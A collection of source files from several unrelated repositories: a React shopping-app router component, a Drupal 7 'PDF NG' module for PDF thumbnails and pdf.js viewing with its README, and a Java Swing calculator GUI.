dispatch(checkAuthTimeout((expirationDate.getTime() - new Date().getTime()) / 1000 ));
}
}
};
};<file_sep>import React, { Component } from "react";
import { Route, Switch, withRouter, Redirect } from "react-router-dom";
import { connect } from "react-redux";
import logo from "./logo.svg";
import "./App.css";
import FeedProdList from "./components/feedProdList/FeedProdList.js";
import WishList from "./components/WishList/WishList";
import FeedSpecProd from "./components/feedProdList/FeedSpecProd/FeedSpecProd";
import ProdView from "./components/ProdView/ProdView";
import Layout from "./hoc/Layout/Layout";
// import Directions from "./components/Map/Direction";
import Auth from "./containers/Auth/Auth";
import AddProd from "./components/AddProd/AddProd"
import ManProd from './components/ManProd/ManProd'
import Logout from "./containers/Auth/Logout/Logout";
import * as actions from "./store/actions/index";
import Push from 'push.js'
class App extends Component {
componentDidMount() {
Notification.requestPermission(function(status) {
console.log('Notification permission status:', status);
});
navigator.geolocation.getCurrentPosition(position => {
console.log(position)
})
this.props.onTryAutoSignup();
//this is to push notification
// Push.create("welcome to shoppingspree");
}
render() {
const isCust = localStorage.getItem('isCust');
//console.log("isCust: " + isCust)
let routes = (
<Switch>
<Route path="/auth" component={Auth} />
<Route path="/" exact component={FeedProdList} />
<Route path="/FeedM" exact component={FeedSpecProd} />
<Route path="/ProdView" exact component={ProdView} />
{/* <Route path="/MapView" exact component={Directions} /> */}
<Redirect to="/" />
</Switch>
);
if (this.props.isAuthenticated) {
routes = (
<Switch>
<Route path="/logout" component={Logout} />
<Route path="/wish" exact component={WishList} />
<Route path="/FeedM" exact component={FeedSpecProd} />
<Route path="/AddProd" component={AddProd} />
<Route path="/ProdView" exact component={ProdView} />
{/* <Route path="/MapView" exact component={Directions} /> */}
<Route path="/" exact component={FeedProdList} />
<Route path="/ManProd" exact component={ManProd} />
{/* <Route path="/direction" exact component={Directions} /> */}
<Redirect to="/" />
</Switch>
);
}
return (
<div className="App">
<Layout isCust={isCust}>{routes}</Layout>
</div>
);
}
}
const mapStateToProps = state => {
return {
isAuthenticated: state.auth.token !== null
};
};
const mapDispatchToProps = dispatch => {
return {
onTryAutoSignup: () => dispatch(actions.authCheckState())
};
};
export default withRouter(
connect(
mapStateToProps,
mapDispatchToProps
)(App)
);
| 1abf0c7077f01c046a3ead4af58f2977ebc7b94b | [
"JavaScript",
"Markdown"
] | 16 | JavaScript | devgeetech/retailery | 7ed8291886c0872d6d97d6304de24f9b6f033ddd | 50d2ee023172feef19a0411ba458e4f810c736e3 |
refs/heads/master | <file_sep><?php
/**
* @file
* pdf_ng/includes/themes/pdf_ng.theme.inc
*
* Theme and preprocess functions for the PDF NG module.
*/
/**
* Preprocess function for theme('pdf_ng_image').
*/
function pdf_ng_preprocess_pdf_ng_link(&$variables) {
drupal_add_css(drupal_get_path('module', 'pdf_ng') . '/pdf_ng.css');
$file_object = file_uri_to_object($variables['uri']);
$variables['title'] = check_plain($file_object->filename);
$file_url = file_create_url($variables['uri']);
$variables['url'] = $GLOBALS['base_url'] . '/' . libraries_get_path('pdf.js') . '/web/viewer.html?file=' . $file_url;
if ($variables['options']['new_window']) {
$variables['output'] = l($variables['title'], $variables['url'], array('html' => TRUE, 'attributes' => array('target' => '_blank')));
}
else {
$variables['output'] = l($variables['title'], $variables['url'], array('html' => TRUE));
}
}
/**
* Preprocess function for theme('pdf_ng_image').
*/
function pdf_ng_preprocess_pdf_ng_image(&$variables) {
drupal_add_css(drupal_get_path('module', 'pdf_ng') . '/pdf_ng.css');
// Do not display the name for the 'square_thumbnail', we use
// this mode in the media browser and node_edit form.
$file_object = file_uri_to_object($variables['uri']);
if ($variables['options']['image_style'] != 'media_thumbnail') {
$variables['title'] = check_plain($file_object->filename);
}
// Create an image with correct style.
$pdf_ng_thumb = theme('image_style', array('style_name' => $variables['options']['image_style'], 'path' => $variables['uri'] . '.png'));
$file_url = file_create_url($variables['uri']);
$variables['url'] = $GLOBALS['base_url'] . '/' . libraries_get_path('pdf.js') . '/web/viewer.html?file=' . $file_url;
// If this image needs to be linked to the PDF without any fancy stuff.
if (!empty($variables['options']['link_to']) && $variables['options']['link_to']) {
if ($variables['options']['new_window']) {
if (!empty($variables['title'])) { $variables['title'] = l($variables['title'], $variables['url'], array('html' => TRUE, 'attributes' => array('target' => '_blank'))); }
$variables['output'] = l($pdf_ng_thumb, $variables['url'], array('html' => TRUE, 'attributes' => array('target' => '_blank')));
}
else {
if (!empty($variables['title'])) { $variables['title'] = l($variables['title'], $variables['url'], array('html' => TRUE)); }
$variables['output'] = l($pdf_ng_thumb, $variables['url'], array('html' => TRUE));
}
}
else {
$variables['output'] = $pdf_ng_thumb;
}
}
/**
* Preprocess function for theme('pdf_ng_document').
*/
function pdf_ng_preprocess_pdf_ng_document(&$variables) {
// TODO: This should actually be a separate module.
if ($variables['options']['enforce_pdfjs'] != true) {
drupal_add_js(dirname(__FILE__) . '/acrobat_detection.js');
}
$file_object = file_uri_to_object($variables['uri']);
$file_url = file_create_url($variables['uri']);
// Add some options as their own template variables.
foreach (array('width', 'height') as $theme_var) {
$variables[$theme_var] = $variables['options'][$theme_var];
}
$variables['title'] = check_plain($file_object->filename);
$variables['url'] = $GLOBALS['base_url'] . '/' . libraries_get_path('pdf.js') . '/web/viewer.html?file=' . $file_url;
$variables['file_url'] = $file_url;
}
<file_sep><?php
/**
* @file pdf_ng/includes/themes/pdf-ng--document.tpl.php
*
* Template file for theme('pdf_ng_document').
*/
?>
<div class="<?php print $classes; ?> pdf-ng-document-<?php print $id; ?>">
<iframe class="pdf-ng" <?php print $api_id_attribute; ?>width="<?php print $width; ?>" height="<?php print $height; ?>" title="<?php print $title; ?>" src="<?php print $url; ?>" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen><?php print $file_url; ?></iframe>
</div>
<file_sep><?php
/**
* @file pdf_ng/includes/pdf_ng.variables.inc
* Variable defaults for the PDF NG module.
*/
/**
* Define constants.
*/
/**
* The variable namespace for pdf.
*/
define('PDF_NG_NAMESPACE', 'pdf_ng__');
/**
* The variable namespace for pdf image.
*/
define('PDF_NG_IMAGE_NAMESPACE', 'pdf_ng_image__');
/**
* The variable namespace for pdf link.
*/
define('PDF_NG_LINK_NAMESPACE', 'pdf_ng_link__');
/**
* Wrapper for variable_get() using the PDF variable registry.
*/
function pdf_ng_variable_get($name, $default = NULL) {
if (!isset($default)) {
$default = pdf_ng_variable_default($name);
}
$variable_name = PDF_NG_NAMESPACE . $name;
return variable_get($variable_name, $default);
}
/**
* Wrapper for variable_set() using the PDF variable registry.
*/
function pdf_ng_variable_set($name, $value) {
$variable_name = PDF_NG_NAMESPACE . $name;
return variable_set($variable_name, $value);
}
/**
* Wrapper for variable_del() using the PDF variable registry.
*/
function pdf_ng_variable_del($name) {
$variable_name = PDF_NG_NAMESPACE . $name;
variable_del($variable_name);
}
/**
* The default variables within the PDF namespace.
*/
function pdf_ng_variable_default($name = NULL) {
static $defaults;
if (!isset($defaults)) {
$defaults = array(
'enforce_pdfjs' => TRUE,
'width' => '900px',
'height' => '700px',
);
}
if (!isset($name)) {
return $defaults;
}
if (isset($defaults[$name])) {
return $defaults[$name];
}
}
/**
* Return the fully namespace variable name.
*/
function pdf_ng_variable_name($name) {
return PDF_NG_NAMESPACE . $name;
}
/**
* Wrapper for variable_get() using the PDF variable registry.
*/
function pdf_ng_image_variable_get($name, $default = NULL) {
if (!isset($default)) {
$default = pdf_ng_image_variable_default($name);
}
$variable_name = PDF_NG_IMAGE_NAMESPACE . $name;
return variable_get($variable_name, $default);
}
/**
* Wrapper for variable_set() using the PDF image variable registry.
*/
function pdf_ng_image_variable_set($name, $value) {
$variable_name = PDF_NG_IMAGE_NAMESPACE . $name;
return variable_set($variable_name, $value);
}
/**
* Wrapper for variable_del() using the PDF image variable registry.
*/
function pdf_ng_image_variable_del($name) {
$variable_name = PDF_NG_IMAGE_NAMESPACE . $name;
variable_del($variable_name);
}
/**
* The default variables within the PDF image namespace.
*/
function pdf_ng_image_variable_default($name = NULL) {
static $defaults;
if (!isset($defaults)) {
$defaults = array(
'new_window' => FALSE,
'link_to' => FALSE,
'show_name' => TRUE,
);
}
if (!isset($name)) {
return $defaults;
}
if (isset($defaults[$name])) {
return $defaults[$name];
}
}
/**
* Return the fully namespace variable name.
*/
function pdf_ng_image_variable_name($name) {
return PDF_NG_IMAGE_NAMESPACE . $name;
}
/**
* Wrapper for variable_get() using the PDF variable registry.
*/
function pdf_ng_link_variable_get($name, $default = NULL) {
if (!isset($default)) {
$default = pdf_ng_link_variable_default($name);
}
$variable_name = PDF_NG_LINK_NAMESPACE . $name;
return variable_get($variable_name, $default);
}
/**
* Wrapper for variable_set() using the PDF image variable registry.
*/
function pdf_ng_link_variable_set($name, $value) {
$variable_name = PDF_NG_LINK_NAMESPACE . $name;
return variable_set($variable_name, $value);
}
/**
* Wrapper for variable_del() using the PDF image variable registry.
*/
function pdf_ng_link_variable_del($name) {
$variable_name = PDF_NG_LINK_NAMESPACE . $name;
variable_del($variable_name);
}
/**
* The default variables within the PDF image namespace.
*/
function pdf_ng_link_variable_default($name = NULL) {
static $defaults;
if (!isset($defaults)) {
$defaults = array(
'new_window' => FALSE,
);
}
if (!isset($name)) {
return $defaults;
}
if (isset($defaults[$name])) {
return $defaults[$name];
}
}
/**
* Return the fully namespace variable name.
*/
function pdf_ng_link_variable_name($name) {
return PDF_NG_LINK_NAMESPACE . $name;
}
<file_sep><?php
/**
* @file pdf_ng/includes/themes/pdf-ng--image.tpl.php
*
* Template file for theme('pdf_ng_image').
*/
if (!empty($title)): ?>
<div class="pdf-ng-image-title pdf-ng-image-title-<?php print $id; ?>"><?php echo $title; ?></div>
<?php endif; ?>
<div class="<?php print $classes; ?> pdf-ng-image-<?php print $id; ?>">
<?php print $output; ?>
</div>
<file_sep>
CONTENTS OF THIS FILE
---------------------
* Introduction
* Requirements
* Installation
* Configuration
* Usage
* Known issues
* Upgrade notes
* Further reading
* Developer docs
INTRODUCTION
------------
"I love all my media having thumbnails - PERIOD."
Some time ago i found the PDF project. Awesome attempt
to do kinda what i wanted, but not completely.
Just a couple of days ago i found the PDF Thumb project,
again awesome work, but it required configurations i
didn't needed, nor wanted, i just want PDF's and Thumbnails!
So last sunday i started hacking a bit, the result is PDF NG.
True, some parts could be done better and so, it still needs a
bit of work, in fact, it's more a proof of concept for now, but
it does work great for what i need it for: create thumbnails
for PDF's (only the first page) and display them - everywhere.
REQUIREMENTS
------------
What do you need:
- ImageMagick
- PDF.js
Drupal modules:
- file_entity (requires the 2.x version from a date after march 8th 2013).
- libraries
INSTALLATION
------------
Download PDF.js:
Uncompiled: (requires you to build PDF.js and we also suggest
to minify it, see FURTHER READING below).
https://github.com/mozilla/pdf.js
Compiled:
https://github.com/mozilla/pdf.js/tags
Extract the pdf.js package to the [SITE_ROOT]/sites/all/libraries/ folder.
Install imagemagick:
apt-get install imagemagick
And make sure your site has access to /usr/bin/convert.
TODO: It's hardcoded for now, but we might patch it at some point.
CONFIGURATION
-------------
Configure the file view modes you want PDF's to show up for.
By default only the thumbnail is displayed.
(cause some people have like a gazillion PDF's on their sites,
and if someone messed up the view modes, that might lead to
'undesired behaviour' aka possibly broken sites.)
Do NOT NEVER EVER use or change the 'preview' mode.
This mode is used on the node form, media browser, etc.
USAGE
-----
Crazy time! Finally we can do some insane things like:
- Create a PDF slideshow with the thumbnails from the pdf linked to the node - or - the pdf itself.
- Create a Colorbox popup that uses the thumbnail as a trigger / link.
- Media browser with friggin' PDF thumbnails! YAY!
- Link to a PDF file in a new window.
- Link a pdf thumbnail on the teaser to the node.
- and more.
Just add a new view mode via the 'entity view mode' module and configure view modes according.
Link strategy: The module supports a couple options to link to a pdf file.
Teaser thumbnail: if you install the 'file_entity_link' module, you can
set up a link to the referencing node entity, this is useful to link
thumbnails used in a teaser view to the node.
Link to the pdf in a new window: Manage the file display for the
'Document' file type. Make sure 'PDF thumbnail' is enable.
You will see 3 options below the Image style:
Show name
- If checked, the file name will be displayed above the thumbnail.
Link to
- If checked, the thumbnail will link to the PDF file.
New window
- If checked, the linked thumbnail will open in a new tab/window.
The link to and new window are the most interesting. These options
allow to fine tune the link a bit, open the document in a new window,
or in the same window.
I have also added a 'PDF Link' display mode. This renders a link
to the pdf file loaded in pdf.js, optionally in a new window.
How to configure this all with colorbox?
Install media_colorbox and the entity view mode module.
Create 3 new entity view modes for the 'file' entity, name them something like:
- PDF Colorbox Thumbnail
- PDF Colorbox Document
- PDF Colorbox Trigger
Create a new image style for the thumbnail. Let's make it 90x130 pixels.
Edit the 'Colorbox Thumbnail' document file display
Set the display to 'image' and select the
thumbnail you created in the previous step.
Visit admin/structure/file-types/manage/document/file-display and edit
the new entity view modes:
- Enable 'Media Colorbox' on the PDF trigger.
- Set the 'File view mode' to PDF Colorbox Thumbnail.
- Set the 'Colorbox view mode' to PDF Colorbox Document.
Save everything and enjoy the ride!
KNOWN ISSUES
------------
A boatload for sure, but it's not my focus at the moment to fix any.
(But would be neat to get some funding together to get this started).
I'm willing to apply patches, so if you have a patch, start an issue.
pdf_ng_process_file($file)
Possible TODO: add option to file upload in some crazy way to
set the page we want to 'thumbnail' (or maybe even multiple).
The [0] bit limits to page 1, see pdf_ng_process_file().
Included in this TODO are:
- We have to decide how to save the file. Maybe people want to create multiple thumbnails?
Crazy, but possible. We could render a list of pages during upload? (maybe)
So people can just click on the pages they want to have 'thumbnailed'.
Then they would also have to set one of those images as 'the default', to save with the content.
And those remaining files still have to be linked to the content / file entity in some way.
- Update theme functions to work with multiple thumbnail files. (maybe create a new display mode for this).
Or just check if the first file exists with -0 and if that exists, use it.
Just copy it to a name without -0) (leading to kinda what we currently have).
http://drupal.stackexchange.com/questions/24228/check-if-unmanaged-file-exists
So for now we just use the first thumb, this works fine in most situations. If people want to
change the thumbnail,they can create a thumb themselves and replace it via the edit file page.
UPGRADE NOTES
-------------
___ _ ___ _ ___ _ ___ __ _____ _ _ ___ ___ _ _____ _
| _ ) /_\ / __| |/ / | | | _ \ \ \ / / _ \| | | | _ \ | \ /_\_ _/_\
| _ \/ _ \ (__| ' <| |_| | _/ \ V / (_) | |_| | / | |) / _ \| |/ _ \
|___/_/ \_\___|_|\_\\___/|_| |_| \___/ \___/|_|_\ |___/_/ \_\_/_/ \_\
Don't say we didn't warn you, always create backups before attempting an
upgrade and test a (partial) upgrade on a test server or your local machine.
But we got nothing to upgrade! So no worries. Actually, i do not expect huge things we can do
here, we only display files that already exist on the system, so it should just work.
For existing files we do need to do some work. While the render-bit could simply create
thumbnails that do not exist, i believe it would be a better idea to add some other
way to accomplish this, like some cron function, or special page you can visit.
FURTHER READING
---------------
Howto minify PDF.js:
https://github.com/mozilla/pdf.js/issues/710#issuecomment-4080540)
Quick explanation of the workings:
We use the same style most media_xyz modules use to render a thumbnail
or a file (pdf) for the application/pdf mimetype.
The module uses the PDF.js and ImageMagick applications to accomplish
this without to much code to maintain on the Drupal side of things.
While it's true the PDF module facilicates the use of the pdf.js
worker_loader.js script and pdf.js to create a thumbnail on the fly,
i required the actual thumbnails, for display on product nodes, saved
on the file system. (And i've found this part is kinda buggy in some
browsers, so it was a no-go for me, and thus, i started coding).
We have template files for the pdf and the thumbnail! YAY! Let the modding commence!
And i wanted an option to AND render a PDF in a colorbox popup AND render a thumbnail
with a simple link to the actual PDF, opening in the same or _blank window.
More techical differences between PDF / PDFThumb and this module?
PDF uses hook_field_formatter_info(), we use hook_file_formatter_info().
In other words, we depend on file_entity, making more crazy stuff
possible and not limiting this in any way to a field.
PDFThumb uses hook_entity_presave(), we use hook_file_insert() and check
the mimetype, we want this to run for all PDF's EVERYWHERE they are saved
/ used, not limited to a field we need to configure.
PDFThumb also creates a list of options, we do not have any options for
fields to create thumbnails, we do not use the field, we use the file.
This enables us to generate a thumbnail everywhere, even on node view and
use it directly in all view modes we want, including the node edit form.
PDFThumb is limited to the first PDF in the file collection, we do not use
this, so we are not limited in any way.
PDFThumb also creates a new database table to link the thumbnail to the pdf,
PDF NG uses the file name as a reference, just like most media_xyz modules do
to get to the correct thumbnail. We render the pdf document 'image' inside
a separate theme function and we have 2 templates, for images and pdf files.
We use the filemime to act on file actions, not the type.
/ PDF NG 7.x-1.x-dev README.
<file_sep><?php
/**
* @file pdf_ng/includes/themes/pdf-ng--link.tpl.php
*
* Template file for theme('pdf_ng_link').
*/
?>
<div class="<?php print $classes; ?> pdf-ng-link-<?php print $id; ?>">
<?php print $output; ?>
</div>
<file_sep><?php
/**
* @file
* Formatter functions for the PDF NG module.
*/
/**
* Implements hook_file_formatter_info().
*/
function pdf_ng_file_formatter_info() {
$formatters['pdf_ng_document'] = array(
'label' => t('PDF document'),
'file types' => array('document'),
'default settings' => array(),
'view callback' => 'pdf_ng_file_formatter_document_view',
'settings callback' => 'pdf_ng_file_formatter_document_settings',
);
foreach (pdf_ng_variable_default() as $setting => $value) {
$formatters['pdf_ng_document']['default settings'][$setting] = pdf_ng_variable_get($setting);
}
$formatters['pdf_ng_image'] = array(
'label' => t('PDF thumbnail'),
'file types' => array('document'),
'default settings' => array(
'image_style' => '',
),
'view callback' => 'pdf_ng_file_formatter_image_view',
'settings callback' => 'pdf_ng_file_formatter_image_settings',
);
foreach (pdf_ng_image_variable_default() as $image_setting => $image_value) {
$formatters['pdf_ng_image']['default settings'][$image_setting] = pdf_ng_image_variable_get($image_setting);
}
$formatters['pdf_ng_link'] = array(
'label' => t('PDF link'),
'file types' => array('document'),
'default settings' => array(
'image_style' => '',
),
'view callback' => 'pdf_ng_file_formatter_link_view',
'settings callback' => 'pdf_ng_file_formatter_link_settings',
);
foreach (pdf_ng_link_variable_default() as $image_setting => $image_value) {
$formatters['pdf_ng_link']['default settings'][$image_setting] = pdf_ng_image_variable_get($image_setting);
}
return $formatters;
}
/**
* Implements hook_file_formatter_FORMATTER_view().
*/
function pdf_ng_file_formatter_document_view($file, $display, $langcode) {
// TODO: still have to figure out what to do with wysiwyg.
if ($file->type == 'document' && $file->filemime == 'application/pdf' && empty($file->override['wysiwyg'])) {
$element = array(
'#theme' => 'pdf_ng_document',
'#uri' => $file->uri,
'#options' => array(),
);
$display['settings']['attributes'] = array();
foreach (pdf_ng_variable_default() as $setting => $default_value) {
$element['#options'][$setting] = isset($file->override[$setting]) ? $file->override[$setting] : $display['settings'][$setting];
}
return $element;
}
}
/**
* Implements hook_file_formatter_FORMATTER_settings().
*/
function pdf_ng_file_formatter_document_settings($form, &$form_state, $settings) {
$element = array();
$element['enforce_pdfjs'] = array(
'#type' => 'checkbox',
'#title' => t('Enforce PDF.js'),
'#default_value' => $settings['enforce_pdfjs'],
'#description' => t("If unchecked, pdf.js will only be loaded when users don not have a PDF reader installed (except for Safari with default OSX Preview, because it can't be detected via javascript)."),
);
return $element;
}
/**
* Implements hook_file_formatter_FORMATTER_view().
*/
function pdf_ng_file_formatter_image_view($file, $display, $langcode) {
// Create thumbnails that do not exist yet. (this can kill your server).
if (!file_exists(drupal_realpath($file->uri) . '.png')) {
pdf_ng_process_file($file);
}
if ($file->filemime == 'application/pdf') {
$element = array(
'#theme' => 'pdf_ng_image',
'#uri' => $file->uri,
'#options' => array('image_style' => $display['settings']['image_style']),
);
$display['settings']['attributes'] = array();
foreach (pdf_ng_image_variable_default() as $setting => $default_value) {
$element['#options'][$setting] = isset($file->override[$setting]) ? $file->override[$setting] : $display['settings'][$setting];
}
return $element;
}
}
/**
* Implements hook_file_formatter_FORMATTER_settings().
*/
function pdf_ng_file_formatter_image_settings($form, &$form_state, $settings) {
$element = array();
$element['image_style'] = array(
'#title' => t('Image style'),
'#type' => 'select',
'#options' => image_style_options(FALSE),
'#default_value' => $settings['image_style'],
'#empty_option' => t('None (original image)'),
);
$element['show_name'] = array(
'#type' => 'checkbox',
'#title' => t('Show name'),
'#default_value' => $settings['show_name'],
'#description' => t("If checked, the file name will be displayed above the thumbnail."),
);
$element['link_to'] = array(
'#type' => 'checkbox',
'#title' => t('Link to'),
'#default_value' => $settings['link_to'],
'#description' => t("If checked, the thumbnail will link to the PDF file."),
);
$element['new_window'] = array(
'#type' => 'checkbox',
'#title' => t('New window'),
'#default_value' => $settings['new_window'],
'#description' => t("If checked, the linked thumbnail will open in a new tab/window."),
);
return $element;
}
/**
* Implements hook_file_formatter_FORMATTER_view().
*/
function pdf_ng_file_formatter_link_view($file, $display, $langcode) {
if ($file->filemime == 'application/pdf') {
$element = array(
'#theme' => 'pdf_ng_link',
'#uri' => $file->uri,
'#options' => array(),
);
$display['settings']['attributes'] = array();
foreach (pdf_ng_link_variable_default() as $setting => $default_value) {
$element['#options'][$setting] = isset($file->override[$setting]) ? $file->override[$setting] : $display['settings'][$setting];
}
return $element;
}
}
/**
* Implements hook_file_formatter_FORMATTER_settings().
*/
function pdf_ng_file_formatter_link_settings($form, &$form_state, $settings) {
$element = array();
$element['new_window'] = array(
'#type' => 'checkbox',
'#title' => t('New window'),
'#default_value' => $settings['new_window'],
'#description' => t("If checked, the linked PDF will open in a new tab/window."),
);
return $element;
}
/**
* Implements hook_file_default_displays().
*/
function pdf_ng_file_default_displays() {
$default_displays = array();
$default_document_settings = array(
'default' => '',
'preview' => 'media_thumbnail',
'teaser' => '',
);
foreach ($default_document_settings as $view_mode => $settings) {
$display_name = 'document__' . $view_mode . '__pdf_ng_document';
$default_displays[$display_name] = (object) array(
'api_version' => 1,
'name' => $display_name,
'status' => 1,
'weight' => 1,
'settings' => $settings,
);
}
$default_image_styles = array(
'default' => 'square_thumbnail',
'preview' => 'media_thumbnail',
'teaser' => 'medium',
);
foreach ($default_image_styles as $view_mode => $image_style) {
$display_name = 'document__' . $view_mode . '__pdf_ng_image';
$default_displays[$display_name] = (object) array(
'api_version' => 1,
'name' => $display_name,
'status' => 1,
'weight' => 2,
'settings' => array('image_style' => $image_style, 'new_window' => TRUE, 'link_to' => TRUE),
);
}
return $default_displays;
}
| d875a0ee0296069bfc7ae3c53ae6abbb0425cbcd | [
"Text",
"PHP"
] | 7 | PHP | robincee/pdf_ng | 4729adf7df50eb2041ca2f5b33c3af6daa243678 | 3c09d4cda445d72fad08a2e41a6a84cca53c9ea8 |
refs/heads/master | <repo_name>Fair-Child/Calculator<file_sep>/src/Calculator/GUIw.java
package Calculator;
import java.awt.BorderLayout;
import java.awt.FlowLayout;
import java.awt.GridBagLayout;
import java.awt.GridBagConstraints;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JTextArea;
public class GUIw implements ActionListener{
private final JFrame frame;
private final JPanel panel;
private final JTextArea text;
private final JButton but[], butSquare, butSquareRoot, butPlus, butMinus, butMultiply, butDivide, butCos, butCosh,
butEPower, butPiPower, butStd, butComma, butCancel, butEqual;
private final Functions func;
private final String[] buttonValue = { "0", "1", "2", "3", "4", "5", "6",
"7", "8", "9" };
/**
*The Constructor that construct the GUI interface and buttons
*
* @author <NAME>
*/
public GUIw() {
frame = new JFrame("Calculator-w");
frame.setResizable(false);
panel = new JPanel();
panel.setLayout(new GridBagLayout());
text = new JTextArea(3, 25);
but = new JButton[10];
for (int i = 0; i < 10; i++) {
but[i] = new JButton(String.valueOf(i));
}
butPlus= new JButton("+");
butMinus = new JButton("-");
butMultiply = new JButton("*");
butDivide = new JButton("/");
butSquare = new JButton("x^2");
butSquareRoot = new JButton("x�sqrt");
butCos = new JButton("Cos");
butCosh = new JButton("Cosh");
butEPower = new JButton("e^x");
butPiPower = new JButton("pi^x");
butStd = new JButton("std");
butComma = new JButton(",");
butCancel = new JButton("C");
butEqual = new JButton("=");
func = new Functions();
}
/**
* The method to initiate the buttons of GUI
*
* @author <NAME>
*/
public void init() {
GridBagConstraints c = new GridBagConstraints();
frame.setVisible(true);
frame.setSize(350, 350);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.add(panel);
c.fill = GridBagConstraints.HORIZONTAL;
c.gridwidth= 4;
c.gridx= 0;
c.gridy= 0;
panel.add(text, c);
c.fill = GridBagConstraints.HORIZONTAL;
c.weightx = 0.5 ;
c.gridwidth= 1;
c.gridx = 0 ;
c.gridy = 1;
panel.add(but[1],c);
but[1].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 1;
panel.add(but[2],c);
but[2].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 1;
panel.add(but[3],c);
but[3].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 1;
panel.add(butPlus,c);
butPlus.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 0 ;
c.gridy = 2;
panel.add(but[4],c);
but[4].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 2;
panel.add(but[5],c);
but[5].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 2;
panel.add(but[6],c);
but[6].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 2;
panel.add(butMinus,c);
butMinus.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 0 ;
c.gridy = 3;
panel.add(but[7],c);
but[7].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 3;
panel.add(but[8],c);
but[8].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 3;
panel.add(but[9],c);
but[9].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 3;
panel.add(butMultiply,c);
butMultiply.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 0 ;
c.gridy = 4;
panel.add(but[0],c);
but[0].addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 4;
panel.add(butSquare,c);
butSquare.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 4;
panel.add(butSquareRoot,c);
butSquareRoot.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 4;
panel.add(butDivide,c);
butDivide.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 0 ;
c.gridy = 5;
panel.add(butEPower,c);
butEPower.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 5;
panel.add(butCos,c);
butCos.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 5;
panel.add(butCosh,c);
butCosh.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 5;
panel.add(butCancel,c);
butCancel.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 0 ;
c.gridy = 6;
panel.add(butPiPower,c);
butPiPower.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 1 ;
c.gridy = 6;
panel.add(butStd,c);
butStd.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 2 ;
c.gridy = 6;
panel.add(butComma,c);
butComma.addActionListener(this);
c.fill = GridBagConstraints.HORIZONTAL;
// c.weightx = 0.5 ;
c.gridx = 3 ;
c.gridy = 6;
panel.add(butEqual,c);
butEqual.addActionListener(this);
}
@Override
/**
* The method to active the functions that related with the buttons
*
* @author <NAME>
* @param e the button that has been clicked
*/
public void actionPerformed(ActionEvent e) {
final Object source = e.getSource();
for (int i = 0; i < 10; i++) {
if (source == but[i]) {
text.replaceSelection(buttonValue[i]);
return;
}
}
if (source == butPlus) {
writer(func.SimpleCalculation(Functions.SimpleCal.plus, reader()));
}
if (source == butMinus) {
writer(func.SimpleCalculation(Functions.SimpleCal.minus, reader()));
}
if (source == butMultiply) {
writer(func.SimpleCalculation(Functions.SimpleCal.multiply, reader()));
}
if (source == butDivide) {
writer(func.SimpleCalculation(Functions.SimpleCal.divide, reader()));
}
if (source == butSquare) {
writer(func.ComplexCalculation(Functions.ComplexCal.square, reader()));
}
if (source == butSquareRoot) {
writer(func.ComplexCalculation(Functions.ComplexCal.squareRoot, reader()));
}
if (source == butCos) {
writer(func.ComplexCalculation(Functions.ComplexCal.cos, reader()));
}
if (source == butCosh) {
writer(func.ComplexCalculation(Functions.ComplexCal.cosh, reader()));
}
if (source == butEPower) {
writer(func.ComplexCalculation(Functions.ComplexCal.ePower, reader()));
}
if (source == butPiPower) {
writer(func.ComplexCalculation(Functions.ComplexCal.piPower, reader()));
}
if (source == butStd) {
writer(func.ComplexCalculation(Functions.ComplexCal.std, reader()));
}
if (source == butComma) {
func.addToNumSet(reader());
text.setText("");
}
if (source == butCancel) {
writer(func.reset());
}
if (source == butEqual) {
writer(func.EqualCalculation(reader()));
}
text.selectAll();
}
/**
* The method to read the input from user
*
* @author <NAME>
* @return number that user input
*/
